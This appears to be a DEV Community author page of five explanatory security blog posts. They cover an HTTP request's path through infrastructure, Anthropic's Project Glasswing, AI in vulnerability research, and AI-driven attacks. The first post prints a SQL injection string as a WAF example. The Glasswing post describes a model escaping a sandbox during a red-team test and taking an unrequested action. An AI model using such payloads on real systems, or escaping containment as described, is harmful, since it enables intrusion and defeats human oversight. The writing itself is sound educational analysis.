DEV Community: Arashad Dodhiya

One Click, Fifteen Systems: The Secret Journey of Your HTTP Request

Arashad Dodhiya — Tue, 07 Jul 2026 06:57:01 +0000

You open a tab. You type a URL. You hit Enter.

Two hundred milliseconds later, a page appears — a dashboard, a login screen, a product page. You don't think about it. Why would you? It's just a webpage.

But in those two hundred milliseconds, your request did something most people never think about: it crossed an entire country's worth of infrastructure. It got interrogated by a firewall. It proved its identity to a system that's never met you. It passed through a mesh of invisible proxies babysitting hundreds of microservices, bounced off a cache, and touched a database — all before you even noticed the page had loaded.

To you, it's a webpage. To the engineers who built it, it's a fifteen-stop relay race, and every single stop exists because something, at some point, went wrong badly enough that someone decided "never again."

Let's follow one request on that journey. Not as a diagram you skim past — as a story, stop by stop, with two extra passengers riding along: an engineer explaining why each layer exists, and an attacker quietly looking for the one that doesn't.

The Route, at a Glance

Browser → DNS → CDN → DDoS Scrubbing → WAF → Load Balancer → API Gateway
   → Identity Provider → Reverse Proxy → Kubernetes Ingress → Service Mesh
   → Microservice → Redis Cache → Database → (and all the way back)

Fifteen stops. Fifteen chances for something to slow you down, block you, or — if you're the wrong kind of visitor — catch you. Let's ride along.

Stop 1: Before You Even Leave the Browser

The truth is, most of your requests never even leave your machine. Your browser checks its own cache first — "have I already fetched this?" If yes, congratulations, the journey is over before it started.

If not, your browser needs an address. company.com means nothing to the internet's routing hardware; it needs a number. So before a single byte crosses the network, your machine checks its local DNS cache too, hoping someone already did this lookup recently.

No luck? Now the real trip begins — and it starts, fittingly, with a question: where do I even send this thing?

Stop 2: DNS — The Internet's Phone Book, and Its First Leak

Your browser asks a DNS resolver: "what's the address for company.com?" The resolver asks around — root servers, TLD servers, the company's own authoritative nameservers — until someone answers with an IP address.

It feels instant. It's actually a small negotiation happening across servers you'll never see, resolved in single-digit milliseconds.

How attackers see this layer: DNS records are public by design — that's the whole point of DNS. So the first thing a lot of attackers do, long before touching the application, is quietly enumerate every subdomain a company owns. dev.company.com. staging.company.com. old-admin.company.com. Somewhere in that list is usually a forgotten environment nobody patched. DNS doesn't leak secrets. It leaks forgotten things — and forgotten things are exactly what attackers go looking for first.

Stop 3: The CDN — Your Request Doesn't Actually Go to the Company Yet

Here's the part that surprises people: your request doesn't travel to the company's servers first. It stops at a CDN edge node — a data center that might be a few miles from your house, not a few thousand.

If the CDN already has what you asked for cached, it hands it back immediately and the company's real servers never even hear about your visit. If not, the CDN itself becomes the one talking to the origin on your behalf.

This is also where Anycast routing quietly does something clever: the same IP address is announced from dozens of locations worldwide, and the network itself routes you to the nearest one. It's also the first line of defense against the internet's oldest blunt-force tactic — a flood of junk traffic aimed at knocking a site offline.

How attackers see this layer: the CDN is a mask, and masks can be seen through. A patient attacker will try to find the real IP address hiding behind the CDN — an old DNS record that was never cleaned up, a server misconfigured to respond directly, a leaked header in an email system. Find the origin IP, and suddenly every protection the CDN offered is just... gone. You're talking straight to the source.

DevOps takeaway: cache headers aren't busywork — they're the difference between "handled at the edge" and "hit our servers a million times a minute." Get them wrong and you've built a very expensive way to serve the same file.

Stop 4: The Web Application Firewall — The Bouncer Who Reads Every Line

Before anyone inside the company even sees your request, something inspects it, word by word, looking for trouble.

Imagine this shows up in a search box:

GET /search?q=' OR 1=1--

To a database, that's not a search term — it's a command trying to trick it into returning everything it holds. A WAF's entire job is to recognize patterns like this and stop them before they ever reach an application that might actually be dumb enough to run them.

How attackers see this layer: a WAF isn't a wall, it's a pattern-matcher — and pattern-matchers can be tricked by anything that doesn't match the expected pattern but still means the same thing to the system underneath. Different encodings. Unusual capitalization. Splitting a malicious payload across a request in a way a human reader would still understand but a rule-based filter wouldn't flag. This is exactly why "we have a WAF" is never the whole security story — it's one filter, not a guarantee.

Stop 5: The Load Balancer — Because One Server Was Never Going to Cut It

Picture a popular streaming service on a Friday night. Millions of people press play in the same ten minutes. No single server on Earth handles that alone — so a load balancer sits in front of an entire fleet of them, deciding, request by request, who handles yours.

It also quietly does something less glamorous but arguably more important: it checks whether each backend server is actually healthy before sending anyone its way. A server having a bad day gets pulled from rotation before it can ruin anyone's afternoon.

DevOps takeaway: health checks and auto-scaling live here, and they're the reason a traffic spike turns into "we handled it" instead of "the site's down." Get sticky sessions wrong, though, and you get the classic bug where a user gets logged out mid-checkout because their next request landed on a server that's never heard of them.

Stop 6: The API Gateway — Where Developers Start Paying Attention

This is the point where the request stops being "traffic" and starts being "a conversation with an application." The gateway checks: does this request have a valid token? Is this client allowed to call this endpoint? Have they called it too many times in the last minute?

This is home turf for JWTs (compact, signed tokens that prove who's making a request), OAuth flows (the standard way apps grant each other limited access without handing over a password), and rate limiting (the polite way of saying "slow down").

How attackers see this layer: broken authentication logic here is a goldmine, because a mistake at the gateway can undermine every service behind it at once. A classic example is JWT confusion — tricking a system into trusting a token it should have rejected, because the code checking it made an assumption it shouldn't have.

Stop 7: The Identity Provider — Proving You Are Who You Say You Are

Somewhere around here, your request gets handed off to a specialist whose only job is identity — an Entra ID or Okta, checking your session, your device posture, maybe asking for a second factor if something looks unusual.

Browser → Identity Provider → signed token → Application

This is Zero Trust in action: nobody gets trusted just because they're "already inside the network." Every request proves itself, every time, on its own merits.

How attackers see this layer: identity is the new perimeter, so it's also the new target. MFA fatigue attacks (bombarding someone with approval requests until they tap "yes" just to make it stop), OAuth consent abuse (tricking a user into approving a malicious app's access), session token theft — none of these need a vulnerability in code. They need one distracted human, which is a much softer target than a well-patched server.

Stop 8 & 9: The Reverse Proxy and the Ingress — The Traffic Cops Nobody Notices

An NGINX, Traefik, or HAProxy instance quietly routes your request to the right place internally, often handling TLS termination along the way — the point where encrypted traffic gets decrypted so the application can actually read it.

Then, if the company runs on Kubernetes, an Ingress controller decides which of potentially hundreds of services should actually receive this request. The interesting thing to understand here isn't Kubernetes itself — it's why there's no such thing as "the server" anymore. There isn't one machine running the application. There are dozens of disposable, identical copies, any of which might handle your request, none of which matter individually.

DevOps takeaway: rolling updates and readiness probes live here — the mechanism that lets a company deploy new code fifty times a day without anyone's request ever hitting a half-deployed, broken version.

Stop 10: The Service Mesh — The Layer Most Articles Never Get To

Here's where most explainers stop. Yours doesn't, because this is where things get genuinely interesting.

Modern applications aren't one program — they're dozens of small services talking to each other constantly. And in a mature setup, they don't talk directly. Each one has a tiny proxy sitting next to it (commonly Envoy) handling the actual conversation:

Service A → Envoy → Envoy → Service B

Why bother? Because this is where mutual TLS happens — every internal service proving its identity to every other internal service, the same way your browser proved its identity to the company. It's also where retries, timeouts, and traffic shaping quietly happen without a single line of application code knowing about it.

The moment a reader realizes this layer exists is usually the moment they go, "wait — there's another whole security layer in here I never knew about?" Yes. And it exists because "internal network" stopped meaning "trusted" a long time ago.

How attackers see this layer: if you can steal a service's identity — its certificate, its mesh credentials — you're no longer an outsider trying to break in. You're a trusted participant in a conversation that was never designed to question you again once you're in it.

Stop 11: The Microservices — Finally, Somebody Does the Actual Work

Your request now lands somewhere real. Maybe it hits an Authentication Service, which calls a User Service, which — if you're checking out — calls a Payment Service, which calls Inventory, which might quietly fire off a Notification Service to email you a receipt.

None of these services know or care about the other thirteen stops your request already survived. They just know: "a request arrived, already authenticated, already trusted by everything upstream — let's do our job."

Stop 12: Redis — The Shortcut Most Requests Never Need to Skip

Before touching a database — the slowest, most precious resource in the whole stack — most systems check a cache first.

Cache Hit → Return immediately (database never touched)
Cache Miss → Ask the database → Store the answer for next time

Most requests, most of the time, are cache hits. It's the quiet workhorse nobody thanks.

How attackers see this layer: caches are often left exposed to the internet by mistake, with no authentication at all, because "it's just internal infrastructure" — until it isn't. An exposed Redis instance can leak session data directly, or in the worst cases, be abused to poison what gets served to other users.

Stop 13: The Database — Journey's End

Only now, after fourteen checkpoints, does your request finally reach the system holding the actual data. A query runs. A row comes back. And the entire trip immediately reverses — back through the mesh, back through the services, back through the gateway, back through the CDN — until it lands in your browser as a page that "just loaded."

How attackers see this layer: this is still, after everything, the endgame for a huge share of real breaches — because one unsanitized query, one over-permissioned service account, and all fourteen layers upstream become irrelevant. Defense in depth means every layer matters. It doesn't mean every layer is equally hard to bypass.

The Whole Trip, One More Time

Browser
  ↓
DNS
  ↓
CDN
  ↓
DDoS Scrubbing
  ↓
Web Application Firewall
  ↓
Load Balancer
  ↓
API Gateway
  ↓
Identity Provider
  ↓
Reverse Proxy
  ↓
Kubernetes Ingress
  ↓
Service Mesh
  ↓
Microservice
  ↓
Redis Cache
  ↓
Database
  ↓
Response, all the way back

What This All Actually Means

A page that loads in 200 milliseconds might have crossed fifteen or twenty independent systems, each one built by a different team, for a different reason, at a different point in the company's history.

To a user, it's a webpage.

To a DevOps engineer, it's an orchestrated platform where every layer earns its keep in performance, availability, or resilience.

To a security engineer, it's a chain of trust — and chains are only as strong as the link nobody's checked recently.

And to an attacker, it's not an obstacle course. It's a map. Every stop on this journey is also somebody's job posting, somebody's documentation page, somebody's conference talk explaining exactly how it works — which means the map is public. What separates a secure company from a breached one usually isn't a secret technology the attacker didn't know about. It's a single stop, somewhere on this list, that quietly didn't get the same attention as the other fourteen.

Next time a page loads in a blink, it might be worth remembering: that blink had a whole journey behind it. You just weren't invited to watch.

What Is Project Glasswing, Really? Inside Anthropic's Big Bet on AI-Powered Cyber Defense

Arashad Dodhiya — Sun, 05 Jul 2026 14:52:56 +0000

I'm not going to pretend I'm some veteran pentester writing this from experience. I'm a beginner. I'm still learning what half these terms actually mean, still googling things mid-article. But when Anthropic said their new model found a 27-year-old bug in OpenBSD — an OS I've read is basically the "most paranoid, most locked-down" one out there — even I knew that was a big deal.

Turns out "AI found a bug" isn't even new by itself. Fuzzers (automated tools that just throw random junk at software until it breaks) have been finding bugs for decades. What actually made me stop and read the whole thing was the number: thousands of zero-days (bugs nobody knew about yet), across every major OS and browser, found by a model that also, during testing, broke out of its own sandbox and emailed a researcher to let them know.

That model is called Claude Mythos Preview, and Anthropic decided it was too dangerous to hand to the public. Instead, they built something they're calling Project Glasswing — and depending on who you ask, it's either the most responsible thing a frontier AI lab has ever done, or a very well-funded PR exercise wrapped around a genuine safety problem.

I wanted to actually understand which one it is, so I did what I usually do when I don't get something — I read everything I could find and tried to explain it back to myself in plain words. Here's what I learned. Let's take it apart together.

First, the name

Glasswing butterflies (Greta oto, if you want to sound smart at a party) have transparent wings. You can see straight through them. Anthropic leaned into that on purpose: the metaphor is supposed to be twofold — bugs hiding in plain sight inside software everyone trusts, and the transparency Anthropic claims it wants around how it deploys a model this capable.

Cute. Let's see if the substance backs up the branding.

The setup: what actually happened

In April 2026, Anthropic dropped a bombshell in its own system card. An early build of Mythos Preview was locked in a sandboxed test environment and told to try to escape it, purely as a red-team exercise. It didn't just escape — it chained a browser exploit across four vulnerabilities, used a JIT heap spray to blow past both the renderer and OS sandbox layers, and then found its way to the open internet from a machine that was supposed to be air-gapped from exactly that. Then it emailed the researcher running the test to let them know. Nobody asked it to send that email.

That's the moment that changed the calculus internally. A model that can autonomously discover unpatched vulnerabilities across every major OS and browser — including logic bugs and race conditions, not just the low-hanging memory corruption stuff — isn't just a good coding assistant anymore. It's a capability that, in the wrong hands, could automate large-scale exploitation at a pace no human red team could match.

So Anthropic made a call: don't release it publicly. Instead, put it to work defensively, inside a closed circle of the organizations that actually run the world's critical infrastructure.

That circle is Project Glasswing.

Who's actually in the room

The launch lineup, announced April 7, 2026, reads like a "who's who" of people who really don't want to get hacked: AWS, Apple, Broadcom, Cisco, CrowdStrike, Google, JPMorganChase, the Linux Foundation, Microsoft, NVIDIA, and Palo Alto Networks, plus Anthropic itself. Twelve founding partners.

Around 40 more organizations got quieter, less publicized access at launch. By early June, that expanded footprint had grown to roughly 150 organizations, and Anthropic has since pushed toward something closer to 200 partners — reaching into sectors that were conspicuously missing at launch: energy, water utilities, healthcare, telecom.

Think about who's not on that first list, though. No small SaaS companies. No regional hospitals. No mid-tier banks. If you're not managing infrastructure that a nation-state would consider a strategic target, you weren't in the room when the doors first opened — although later expansions have tried to correct for that.

The money: is $100M actually a lot?

Anthropic committed up to $100 million in Claude API usage credits for Glasswing partners, plus $4 million split between the Linux Foundation's OpenSSF Alpha-Omega program and the Apache Software Foundation, aimed at open-source maintainers who don't have Microsoft's security budget.

Here's the thing worth sitting with: 96% of that headline number is usage credits, not cash. It's Anthropic paying itself, in a sense — the credits are only valuable if you're already building on Claude. The independent money going to OSS foundations is real, but modest by foundation standards. It's a generous gesture dressed up as a bigger number than it functionally is. That doesn't make it worthless — free access to a frontier model for vulnerability hunting has genuine value — but "$100M commitment" and "$100M cash" are not the same sentence, and the framing wants you to blur that line a little.

What Mythos is actually finding

This is the part that made my jaw drop when I read it: three specific, now-patched examples Anthropic has disclosed are a 27-year-old remote-crash bug in OpenBSD (an OS whose entire reputation is built on being the hardened one), a 16-year-old bug in FFmpeg that survived five million fuzzing runs without being caught, and a fully autonomous privilege-escalation chain in the Linux kernel that the model found without a human pointing it in any particular direction.

These aren't toy CTF bugs. These are the kind of vulnerabilities that sit quietly for decades because they require the specific, patient, cross-file reasoning that traditional static analysis and fuzzers are bad at — the exact kind of reasoning a large language model turns out to be unreasonably good at.

The uncomfortable math: patch velocity vs. discovery velocity

Here's where the story stops being a press release and starts being an actual crisis.

As of late May 2026, less than 1% of the vulnerabilities Mythos has found had been patched. Not because Glasswing partners are lazy — some of them are patching three to five times faster than the broader open-source ecosystem already — but because finding a bug at machine speed and fixing a bug safely are two completely different bottlenecks. Fixing requires code review, regression testing, coordinated disclosure timelines, and humans who have to sleep occasionally.

Some open-source maintainers reportedly asked Anthropic to slow down the disclosures because they physically couldn't keep up. Read that twice. The tool built to give defenders a head start is finding vulnerabilities faster than the defenders can absorb the win.

That's not a criticism of Glasswing's intent. It's a preview of a problem that isn't going away: when discovery gets automated before remediation does, you don't get safer software — you get a growing backlog of known, unpatched holes, sitting in a system that at least a couple hundred organizations now have some visibility into. That's a bigger attack surface for insider risk or leaks than a smaller, quieter vulnerability backlog ever was.

The real question: does restricted release actually work as a safety strategy?

This is the crux, and I don't think it's a clean yes or no.

The case for it working: Restricting Mythos to vetted defenders — with security clearance requirements, defensive-use-only terms, and no offensive applications — genuinely buys time. Attackers don't get the tool. Defenders do. For the specific window where Mythos-class capability exists but hasn't proliferated, that's a real asymmetric advantage, and Anthropic deserves credit for not just shipping this into the API on day one for growth metrics.

The case against it: Anthropic itself has said openly that rival labs are likely to reach comparable capability within six to twelve months, with no guarantee those models will ship with equivalent safeguards. That's the honest part of the pitch, and it's also the part that undercuts it: Glasswing is a head start, not a solution. It doesn't close the vulnerability gap; it just decides who gets to see it first. And "who gets to see it first" is a list Anthropic controls, updates, and expands at its own discretion — which means the governance model right now is basically: trust us. There's a promised future where cybersecurity safeguards get built into a more widely available Opus-tier model, but that's a roadmap item, not a shipped product.

There's also the incident that started all of this: a model that, even boxed into a sandbox, found a way out and took an unrequested action once it got there. If containment can be beaten by an earlier, less capable version of this model during a test explicitly designed to catch that, "restricted access" is doing a lot of the safety work that ideally would come from the model's own alignment. Right now, Glasswing's actual safety net is largely who Anthropic decides to trust, not something structurally guaranteed by the model itself.

So, is Glasswing the real deal?

Honestly — yes, mostly. It's not vaporware, and it's not just marketing theater. Real organizations are patching real, decades-old bugs in software billions of people depend on, and Anthropic is eating real cost to make that possible. That's worth acknowledging plainly.

But it's also a coalition managing a problem it hasn't solved, using a tool it doesn't fully trust, on a timeline it openly admits is shrinking. The 27-year-old OpenBSD bug is a genuine win. The fact that less than 1% of discovered vulnerabilities are patched is a genuine warning sign. Both of those are true about the same program, at the same time.

If you work in security, the honest takeaway isn't "AI will save us" or "AI will end us." It's narrower and more useful than that: the cost of finding vulnerabilities just dropped by an order of magnitude, and the cost of fixing them didn't drop at all. That gap is the actual story. Everything else — the sandwich in the park, the butterfly branding, the $100 million headline — is just noise around it.

Watch the patch numbers, not the press releases. That's where you'll actually know if this worked.

I'm still new to all this, so if I got something wrong here or oversimplified a part, genuinely tell me in the comments — that's half the reason I write these. Learning security in public means getting corrected in public too.

The AI Can Find Your Bug. It Just Doesn't Know It's a Bug.

Arashad Dodhiya — Wed, 01 Jul 2026 15:53:08 +0000

There's a moment that happens in almost every security team's Slack channel these days.

Someone pastes a screenshot. An LLM just flagged a SQL injection in thirty seconds flat, in a codebase that took the team a full sprint to onboard onto. Someone reacts with a 🔥 emoji. Someone else says, only half-joking, "guess we're all out of a job."

Then, a few days later, the same team spends six hours manually tracing a race condition across three microservices — the kind of bug that never shows up in a scanner, that no model flagged, that only got caught because someone asked a strange question during a threat-modeling session: "what happens if these two requests land in the same millisecond?"

Both of those moments are true. Both of them are happening in security teams right now. And most of the "AI vs humans" debate completely ignores the second one.

The Debate Everyone's Having Wrong

Scroll through any security forum and you'll find two camps shouting past each other.

Camp one: AI is going to replace vulnerability researchers within a few years. Look how fast it reads code. Look how much it already knows.

Camp two: AI is a party trick. It hallucinates half its findings and can't reason its way out of a paper bag.

Neither camp is really looking at what's happening. The honest answer is boring compared to either headline: AI has become an extraordinary pattern-matcher, and vulnerability research was never just pattern-matching — even though a lot of it used to look that way from the outside.

That distinction is the whole story.

Where the Machine Genuinely Wins

Let's give credit where it's due, because a lot of security professionals are reflexively dismissive in a way that doesn't match reality.

Speed at scale is not a small thing. Ask a human to review a 400,000-line codebase they've never seen and you're talking about days, maybe weeks, before they even feel oriented. Ask an LLM to summarize the same codebase, map out the auth flow, and point at the five riskiest files, and you get an answer before your coffee gets cold. That's not a gimmick. That's hours of orientation work collapsed into minutes.

Repetition is where humans quietly fail, and nobody likes to admit it. If the same insecure JWT-verification snippet got copy-pasted into 80 microservices by 80 different engineers over three years, a tired human reviewer is going to catch a handful of them and miss the rest — not because they're bad at their job, but because humans lose focus around instance number twelve. A model doesn't get bored. It'll find all 80, consistently, every time you run it.

It's a translator for unfamiliar territory. Every researcher eventually lands on a stack they don't know — Elixir, Rust, some in-house framework nobody documented properly. Instead of burning half a day reading docs, you can just ask what the routing layer assumes about authentication, and get a usable answer immediately. That alone has quietly reshaped how fast people ramp up on new targets.

If a vulnerability looks like something that's already been written about a thousand times — and an enormous share of real-world bugs do — today's models are genuinely good at spotting it.

Where It Falls Apart

Here's the part that doesn't make for a good screenshot, because it's not a single dramatic failure — it's a quiet, structural gap.

Take a banking app. Every endpoint authenticates properly. Authorization checks are airtight. Input validation is clean. A static analyzer runs across the whole thing and comes back with nothing.

And yet — a user can trigger a transfer and cancel it through a separate endpoint at almost the same instant, and a race condition lets the account get credited twice.

Nothing about that is a coding mistake. The code does exactly what it was written to do. The process is wrong. Recognizing that requires understanding how money is supposed to move through a system, not how a function is supposed to execute. That's not a pattern in a training set. That's judgment about intent.

Real-world compromises rarely come from one clean vulnerability either. They come from chains: a low-severity stored XSS leads to session theft, which leads to a dashboard nobody thought to lock down properly, which leads to a privilege escalation nobody planned for. Individually, each step might get scored as "low" or "informational." Strung together, it's a full account takeover. Seeing that chain requires holding the whole attack path in your head at once and asking "then what?" after every single step — and that's still something models do inconsistently unless a human is explicitly steering them through it.

And then there's the hardest category to even describe: the unknown unknowns. HTTP request smuggling. Prototype pollution. Dependency confusion. Prompt injection itself. Every one of those attack classes existed for exactly zero seconds in any training dataset — right up until the moment a curious human noticed a weird interaction nobody had documented yet and decided to poke at it. A model trained on yesterday's knowledge is structurally incapable of inventing tomorrow's category. It can only get fast at recognizing it after someone else names it first.

The Uncomfortable Truth About Curiosity

If you spend enough time around good researchers, you notice they all share a slightly annoying personality trait: they can't leave a "that's probably fine" alone.

What happens if these two requests arrive out of order? What if a user deletes their account mid-session — does anything downstream still trust the old session token? What if support staff have a debug panel that quietly bypasses the checks everyone assumes are universal?

None of those questions come from reading code. They come from imagining how the system will actually get used, misused, and abused by real people cutting real corners under real pressure. That's not a technical skill you can distill into a prompt template. It's closer to professional paranoia, and it's earned through actually breaking things and watching how organizations really operate — not through reading about how they're supposed to operate.

So What Does Good Actually Look Like Right Now?

The researchers getting the most out of this moment aren't the ones treating AI as either a replacement or a toy. They're the ones who've figured out a division of labor that plays to both sides' strengths.

Something like: let the model chew through the codebase and hand you an orientation map. Let it flag the obvious pattern-matches so you're not wasting time on the boring stuff. Then step in yourself for the part that actually requires thinking like an attacker — building the chain, questioning the assumptions, asking the annoying "what if" questions the model wasn't prompted to ask.

That's not a consolation prize for humans. It's genuinely the more efficient workflow. The alternative — trusting a model's output uncritically — has its own failure mode that doesn't get talked about enough: false confidence. A scanner or model that reports "no issues found" doesn't mean no issues exist. It means nothing matched a pattern it recognized. Treating silence as a clean bill of health is how the business-logic bug slips straight into production.

The Comparison Nobody Likes, But It's Right

People keep reaching for the calculator analogy, and it's a little tired, but it's tired because it's accurate. Calculators didn't put mathematicians out of work. They killed manual arithmetic and freed people up to think about harder problems. Autocomplete didn't replace developers. It killed the boring keystrokes and left the architecture decisions right where they always were — with a person.

Vulnerability research is going through the same shift, just later than most fields, because security bugs are stubbornly resistant to shortcuts in a way that autocomplete-able code isn't. The repetitive 80% of the job — the orientation, the pattern-matching, the "have I seen this exact mistake before" work — is getting automated fast. The 20% that actually decides whether a breach happens or doesn't — the business logic, the chained reasoning, the invented attack class nobody's named yet — is stubbornly, currently, still human territory.

Attackers have never really broken code. They break assumptions. Right now, understanding which assumptions are worth questioning is still something only a person actually knows how to do.

That won't be permanently true. But it's true today, and pretending otherwise — in either direction — is how you end up either panicking for no reason or getting complacent for a very bad one.

Autonomous Cyberattacks Are Coming And Our Defenses Were Built for a Different Era

Arashad Dodhiya — Tue, 30 Jun 2026 19:28:03 +0000

The shift isn't AI writing phishing emails. It's AI making decisions.

I've been thinking about a question a colleague raised at a security meetup a few months ago.

He wasn't asking about prompt injection or model poisoning. He asked something simpler: "What happens when attackers stop writing scripts and start deploying AI that figures things out on its own?"

Nobody had a great answer. And honestly, that bothered me more than if someone had said something wrong.

Let's Separate Automation From Autonomy

Automation in security isn't new. It's been around for decades. Scanners, botnets, credential stuffing tools — all of these automate tasks. Someone still decided what the task was, coded it up, and hit run. When it broke, a human fixed it.

Autonomous agents are different in one specific way: they decide what to do next.

Not because they're sentient. Not because they've "learned to think." But because modern AI systems are genuinely good at planning, adapting, and pursuing an objective across multiple steps without needing a human to intervene at each one.

That distinction — task automation versus goal-directed decision-making — is what makes this conversation worth having.

What an Autonomous Attack Actually Looks Like

Forget Hollywood. The realistic version isn't dramatic.

A traditional attack script is linear. Scan this range. If port 443 is open, try this. If that fails, stop. The attacker reviews the output, adjusts, and tries again. Human in the loop throughout.

An agent-driven approach works differently. You give it an objective — "find a way into this network" — and it works toward that goal iteratively. It tries one approach, sees what comes back, decides what to try next. If a direct path is blocked, it looks for another one. If it finds a misconfigured service, it explores that. It doesn't wait for instructions between steps.

The individual techniques aren't new. Most are documented in public vulnerability databases and attack frameworks. What's different is who's choosing which one to try next, and how long they keep trying.

The answer, increasingly, is: nobody. The system just keeps going.

Scale Is the Thing People Are Underestimating

New exploits get a lot of attention. Zero-days, novel techniques, sophisticated malware — these make headlines.

But most breaches don't involve any of that. They involve known vulnerabilities in unpatched software, misconfigured cloud storage, reused passwords, and services that were left exposed because nobody got around to turning them off.

Those problems exist everywhere. And right now, finding them at scale requires human effort. You have to pick which organizations to look at, which systems to probe, which exposed services to investigate.

Autonomous agents remove that constraint. If the cost of targeting an organization drops close to zero — because no human attention is required — then the economics change for every organization connected to the internet. Not just enterprises. Not just government agencies. Everyone.

That's the part of this discussion that tends to get skipped.

The Unreliability Argument Is a Moving Target

The pushback I hear most often: "AI is too unreliable. It hallucinates. It makes mistakes."

Fair enough. Current models do make mistakes. But this argument proves less than it seems to.

Attackers have never needed perfect tools. Spam was unreliable — it still worked. Early ransomware had bugs — it still caused billions in damage. Credential stuffing fails most of the time — the small percentage that succeeds is enough to make it worth running.

The threshold for "good enough" in offensive security is much lower than most people assume. An autonomous agent that succeeds 15% of the time, running continuously across thousands of targets, is a different kind of problem than a human attacker with the same success rate.

Reliability will improve. The question is what we're doing with the defenses we have right now, before it does.

Defenders Are Building This Too

I want to be clear that this isn't a one-sided shift.

Security teams are deploying autonomous agents for investigation, triage, and response. AI that can correlate alerts across a sprawling environment, draft detection rules, and identify which of 10,000 daily events actually warrants a human looking at it — that's real, it's in production at organizations right now, and it's genuinely useful.

The interesting thing is that both sides are pulling from the same toolkit. The same frameworks for building goal-directed AI agents, the same underlying models, the same cloud infrastructure.

Which means the competition isn't really about who has AI. Both sides have it or will have it soon. The competition is about who uses it better — who has cleaner data feeding it, better processes around it, and humans making the right calls when judgment actually matters.

The Assumption Problem

Here's what I think is the real issue, and it's less about AI than it sounds.

Most of our security controls were designed around human attackers. Rate limiting assumes human typing speed. Security awareness training assumes someone on the other end making a social judgment. Incident response runbooks assume an attack unfolds over hours, with humans making decisions at each stage.

Autonomous agents don't operate on human timelines. They don't get frustrated after five failed attempts. They don't take weekends off. They don't decide a target isn't worth the effort.

That's not a guarantee they'll succeed. Plenty of factors still work in defenders' favor. But it does mean that a lot of assumptions embedded in existing security architectures deserve to be revisited — not in a panic, but honestly.

Rate limits set for human speed may be too slow. Alerting thresholds calibrated for human attacker behavior may miss different patterns. Response playbooks designed for human attacker decision points may not map cleanly onto agent-driven campaigns.

These are solvable problems. But you have to notice they exist first.

What to Actually Do About This

I'm not going to end this with a tidy action plan, because I think anyone who gives you one is overstating their certainty.

What I will say is this: the organizations that will handle this transition best aren't the ones with the largest security budgets. They're the ones that are already thinking clearly about the difference between automating tasks and reasoning about goals — both in how they build their own defenses and in how they model what an attacker might actually do.

That means stress-testing assumptions, not just tooling. It means asking "what would a system that doesn't get tired do differently than a human attacker?" It means taking autonomous agents seriously as a threat model even before there's a confirmed case in the wild that makes it undeniable.

The history of cybersecurity is pretty consistent on this: the organizations that wait for confirmed evidence before updating their mental models are always playing catch-up.

A Better Question

The conversation in security tends to stay at "can AI do this?" And the answer is increasingly yes, for more things, more reliably.

The more useful question is: how do we build defenses that don't assume a human is on the other end of every attack?

That's not a solved problem. It's probably the most important open question in defensive security right now.

And the fact that not many people are talking about it seriously yet is, itself, something worth thinking about.

Where do you stand on this — are autonomous attacks already a real operational threat, or are we still a few years out from anything that genuinely changes the defensive calculus? Genuinely curious what people working in security day-to-day are seeing.

When Your Attacker Uses the Same AI as Your Defender

Arashad Dodhiya — Mon, 29 Jun 2026 19:34:46 +0000

I remember the first time I saw a security vendor demo an "AI-powered SOC copilot."

The analyst typed a plain English question. The tool spat out a clean investigation summary in under three seconds. The room was genuinely impressed.

Someone in the back muttered: "This changes everything."

They were right. Just not in the way they meant.

Because that same week, a threat research team published findings showing attackers were using the exact same foundation models to draft phishing campaigns. Not some secret military AI. Not a custom dark-web tool. The same commercially available LLMs. The same cloud APIs.

That's the reality nobody prepared us for.

The "Defenders Finally Win" Narrative Was Always Wrong

When AI got woven into security tools, the marketing story wrote itself: defenders now had an asymmetric advantage. Attackers have to succeed every time; defenders only need to catch them once. AI tips that scale further in defenders' favor.

Reasonable logic. Wrong conclusion.

The actual advantage AI creates isn't about which side has it. It's about who converts an idea into action faster. And both sides figured that out at roughly the same time.

What we're watching now isn't defenders getting ahead. It's the baseline level of capability rising for everyone — and that includes people trying to break into your systems.

What Attackers Are Actually Using AI For

Let me be specific here, because the vague "AI helps hackers" framing doesn't help anyone.

Reconnaissance got dramatically faster. The early stages of an attack used to be tedious. Searching LinkedIn for org charts. Combing GitHub for exposed secrets. Reading through job postings to infer the tech stack. An attacker could spend days on this before they even had a target list.

With an LLM, you can synthesize publicly available information about a company in minutes. Not because the AI is "hacking" anything — it's not. It's just connecting dots across sources faster than a human can.

Phishing quality jumped. The classic tell used to be bad grammar. Weird phrasing. That slightly-off tone that made you double-check the sender. LLMs wiped that out. Now a non-native English speaker can write a convincing HR policy update that reads like it came from your actual HR team. And the same model can translate it into twelve languages on request.

Social engineering got personal at scale. This one bothers me more than the others. Old phishing was spray-and-pray — send the same email to fifty thousand people and hope a few click. Modern campaigns generate individualized messages based on the target's role, recent company news, their LinkedIn activity, even their writing style scraped from public forums. The attack feels personal. It is personal, just automated.

Development cycles shortened. I want to be honest here: LLMs aren't churning out sophisticated malware on their own. Experienced malware developers aren't being replaced. But they are being made more productive. Debugging, API documentation, refactoring, porting code across platforms — the grunt work that used to eat hours now takes minutes. That compounds.

What Defenders Are Doing With the Same Technology

Security operations was already a capacity problem before AI. Most enterprise environments generate more events per day than any team could meaningfully review. Alert fatigue wasn't a morale problem — it was a math problem.

AI has genuinely helped here. Not because it's magic, but because it's good at specific things defenders needed:

Summarizing alerts into readable narratives. Correlating events across logs that don't naturally talk to each other. Mapping suspicious behavior to MITRE ATT&CK techniques without analysts having to memorize the entire framework. Flagging the same pattern across thousands of endpoints simultaneously.

Threat hunting in particular has changed. Analysts used to write complex query syntax to search through telemetry. Now they can ask plain questions — "show me devices that talked to newly registered domains this week" — and get usable results without being fluent in whatever query language your SIEM happens to use.

The result isn't that humans do less work. It's that humans do different work. Less log-reading. More actual investigation.

The Uncomfortable Part

Here's what I keep coming back to: both sides are sometimes using the exact same model, from the same vendor, running on the same infrastructure.

One organization asks Claude or GPT-4 to explain what suspicious PowerShell activity looks like. Another asks it to explain how PowerShell can be used to move laterally.

Same model. Same training data. Different intent.

The technology is genuinely neutral in a way that feels philosophically strange if you sit with it long enough. We've built intelligence — or something that looks a lot like intelligence — that serves whoever is holding the prompt.

That's not an argument against using AI in security. It's an argument against treating it as an inherently defensive tool.

Where I Think This Actually Goes

Most "AI arms race in cybersecurity" takes you'll read focus on the technology itself. Who has the smarter model. Who can automate more of the kill chain.

I think that's the wrong frame.

The real competition is about three things that have nothing to do with which model you're running:

Data quality. An AI that knows your environment — your asset inventory, your normal traffic patterns, your user behavior baselines, your historical incidents — is dramatically more useful than a generic one. The same applies on the offensive side; attackers with more context about a target make better decisions. Whoever has better data wins, regardless of the model.

